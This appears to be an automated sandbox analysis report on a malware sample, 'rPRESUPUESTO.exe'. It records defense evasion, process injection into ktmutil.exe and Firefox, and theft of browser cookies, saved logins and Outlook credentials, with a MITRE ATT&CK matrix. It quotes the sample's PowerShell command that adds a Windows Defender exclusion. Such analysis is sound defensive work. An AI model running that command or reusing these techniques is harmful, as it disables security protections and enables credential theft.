Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0187EA60 mov eax, dword ptr fs:[00000030h]	5_2_0187EA60
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180CA6F mov eax, dword ptr fs:[00000030h]	5_2_0180CA6F
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180CA6F mov eax, dword ptr fs:[00000030h]	5_2_0180CA6F
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Code function: 5_2_0180CA6F mov eax, dword ptr fs:[00000030h]	5_2_0180CA6F

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe

Memory allocated: page read and write | page guard

Adds a directory exclusion to Windows Defender

HIPS / PFW / Operating System Protection Evasion

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rPRESUPUESTO.exe"
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rPRESUPUESTO.exe"			Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtQueryValueKey: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtTerminateThread: Direct from: 0x76EF2FCC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtOpenKeyEx: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe

Memory written: C:\Users\user\Desktop\rPRESUPUESTO.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: NULL target: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Section loaded: NULL target: C:\Windows\SysWOW64\ktmutil.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: NULL target: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: NULL target: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\ktmutil.exe

Thread register set: target process: 4268

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\ktmutil.exe

Thread APC queued: target process: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rPRESUPUESTO.exe"	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Process created: C:\Users\user\Desktop\rPRESUPUESTO.exe "C:\Users\user\Desktop\rPRESUPUESTO.exe"	Jump to behavior
Source: C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe	Process created: C:\Windows\SysWOW64\ktmutil.exe "C:\Windows\SysWOW64\ktmutil.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: MqDMLUHvZmSMqiwTfIsHo.exe, 00000008.00000002.4587906906.0000000001761000.00000002.00000001.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 00000008.00000000.2251522914.0000000001761000.00000002.00000001.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588158664.00000000018B1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: MqDMLUHvZmSMqiwTfIsHo.exe, 00000008.00000002.4587906906.0000000001761000.00000002.00000001.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 00000008.00000000.2251522914.0000000001761000.00000002.00000001.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588158664.00000000018B1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: MqDMLUHvZmSMqiwTfIsHo.exe, 00000008.00000002.4587906906.0000000001761000.00000002.00000001.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 00000008.00000000.2251522914.0000000001761000.00000002.00000001.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588158664.00000000018B1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: MqDMLUHvZmSMqiwTfIsHo.exe, 00000008.00000002.4587906906.0000000001761000.00000002.00000001.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 00000008.00000000.2251522914.0000000001761000.00000002.00000001.00040000.00000000.sdmp, MqDMLUHvZmSMqiwTfIsHo.exe, 0000000A.00000002.4588158664.00000000018B1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Queries volume information: C:\Users\user\Desktop\rPRESUPUESTO.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\rPRESUPUESTO.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\rPRESUPUESTO.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Registry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AFE5D244A8D1194230FF479FE2F897BBCD7A8CB4 Blob

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 5.2.rPRESUPUESTO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rPRESUPUESTO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2328576677.0000000001600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4590404042.0000000005560000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4586829537.0000000000180000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4588343221.0000000000720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4588414444.0000000000760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2328137343.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\ktmutil.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 5.2.rPRESUPUESTO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rPRESUPUESTO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2328576677.0000000001600000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.4590404042.0000000005560000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4586829537.0000000000180000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4588343221.0000000000720000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4588414444.0000000000760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2328137343.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Modify Registry	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	111 Disable or Modify Tools	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	5 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	41 Virtualization/Sandbox Evasion	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	412 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Abuse Elevation Control Mechanism	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	4 Obfuscated Files or Information	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Software Packing	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
